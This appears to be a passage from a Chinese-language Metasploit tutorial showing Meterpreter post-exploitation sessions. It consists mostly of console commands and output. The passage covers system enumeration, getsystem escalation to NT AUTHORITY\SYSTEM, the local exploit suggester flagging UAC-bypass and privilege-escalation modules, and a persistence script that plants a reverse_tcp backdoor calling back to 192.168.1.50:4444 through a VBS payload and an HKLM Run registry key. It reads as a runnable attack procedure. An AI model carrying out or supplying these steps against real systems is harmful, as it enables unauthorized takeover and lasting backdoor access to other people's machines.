meterpreter > helpCore Commands============= Command Description
------- -----------
? Help menu
background Backgrounds the current session
exit Terminate the Meterpreter session
help Help menu
migrate Migrate the server to another process
...
取得系統資訊
1
2
3
4
5
6
7
8
meterpreter > sysinfo
Computer : TARGET-PC
OS : Windows 10(10.0 Build 19041)Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2Meterpreter : x64/windows
取得當前使用者身分
1
2
meterpreter > getuid
Server username: TARGET-PC\Administrator
meterpreter > getuid
Server username: TARGET-PC\user
meterpreter > getsystem
...got system via technique 1(Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
使用 Local Exploit Suggester
當 getsystem 失敗時,可以使用本地漏洞建議模組。
1
2
3
4
5
6
7
8
9
10
11
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.1.100 - Collecting local exploits for x64/windows...
[*] 192.168.1.100 - 37 exploit checks are being tried...
[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target appears to be vulnerable.
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor
OPTIONS:
-A Automatically start a matching exploit/multi/handler
-L <opt> Location in target host to write payload
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp
-S Automatically start the agent on boot as a service
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
# 建立開機自動啟動的後門meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.50
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/TARGET-PC_20231220.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444[*] Persistent agent script is 99643 bytes long
[+] Persistent Script written to C:\Windows\TEMP\vBsMKQ.vbs
[*] Executing script C:\Windows\TEMP\vBsMKQ.vbs
[+] Agent executed with PID 2756[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YqGNWCfkhv
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YqGNWCfkhv